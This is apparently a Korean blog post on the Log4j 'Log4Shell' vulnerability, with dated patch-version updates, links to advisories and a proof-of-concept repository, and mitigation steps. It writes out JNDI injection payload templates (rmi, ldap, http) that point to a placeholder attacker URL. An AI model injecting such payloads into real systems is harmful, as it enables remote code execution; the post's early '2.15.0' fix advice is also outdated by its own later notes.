2021.12.29 추가내용
2.17.0 버전에서 RCE 공격이 가능하여 또 2.17.1로 패치
(https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832)
2021.12.20 추가내용
2.16.0 버전에서도 서비스 거부 현상 발생하여 2.17.0으로 패치
(https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397)
2021.12.15 추가내용
2.15.0 버전에서도 또 다시 jndi 취약점이 발견 됨. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)
2.15.0 버전에서는 jndi가 localhost에서만 가능하도록 했지만, localhost로 jndi를 공격하면 지속적으로 localhost를 호출하여 서비스 거부(DOS)를 발생시킬 수 있음
최신버전인 2.16.0으로 업그레이드 해야함.
이슈
log4j 2.0 베타 9 ~ 2.14.1 버전까지 1~10단계중 가장 강력한 10단계 보안이슈 발생
%m으로 메시지 로깅하는 곳에 jndi 명령어가 있을 경우 해당 명령어를 수행하여 타 프로그램 실행 가능하도록 가능
${jndi:rmi://공격프로그램URL}
${jndi:ldap://공격프로그램URL}
${jndi:http://공격프로그램URL}
유명 제품에 대한 테스트 현황
https://github.com/YfryTchsGD/Log4jAttackSurface
테스트
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
해결
1. 최신버전인 2.15.0 으로 업그레이드
2. jndi lookup하지 않도록 변경
- Log4j 2.10 >=일 경우 JVM 옵션으로 Dlog4j2.formatMsgNoLookups=true
- Log4j 2.7 >= 일 경우 %m 설정을 %m{nolookups}
- Log4j 2.7 < 일 경우, 관련 클래스 모두 제거 후 jar 다시 말기
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
'Java' 카테고리의 다른 글
Junit in Action 3판 (1) | 2024.09.22 |
---|